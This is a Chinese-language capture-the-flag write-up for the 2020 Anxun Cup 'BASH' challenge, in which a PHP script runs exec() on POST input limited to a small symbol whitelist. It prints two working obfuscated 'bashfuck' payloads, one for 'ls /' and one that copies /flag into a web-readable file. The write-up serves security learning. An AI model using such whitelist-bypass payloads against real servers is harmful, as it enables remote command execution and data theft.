[安洵杯 2020]BASH
端午放假没回家,没旅游::>_<::,手痒玩玩
下面是我的解题思路↓↓↓↓↓↓↓↓↓
打开题目:

代码解释
<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>这个PHP脚本接受一个名为cmd的POST参数,并对其字符进行白名单过滤。白名单字符包括:$, {, }, #, \, (, ), <, ', 0。只有所有字符都在白名单中,才会执行exec($test)。
解决方案
github上有针对Linux终端 bashshell 的无字母命令执行:bashfuck
尝试ls / 看看根目录回显,bashfusk↓↓↓↓↓↓
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\'脚本中要求要用POST 求参,这里我使用BurpSuite抓包软件请求

发送POST请求:

结果:

结果居然是无回显,审计代码发现如果命令执行失败是会回换显Cyzcc,但并没有出现,那说明命令是执行成功了的,但是不回显。
换个思路
既然没有回显,那说明命令是执行成功了的,那就没必要再尝试ls / 的命令了
换个命令cat /flag > 1.txt
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}00${##}${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}${##}${##}000))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}0${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\'将flag直接写入当前服务的目录,并命名为1.txt

仍然是无回显,那说明命令已经执行成功。这是我们直接去他的。目录里面查看1.txt
URL/1.txt

ok,完成。
主包参考了社区的文献,应用了文章里的脚本,发现没用,但文章里的思路,给了我一点启发。
尝试简单的方式完成了
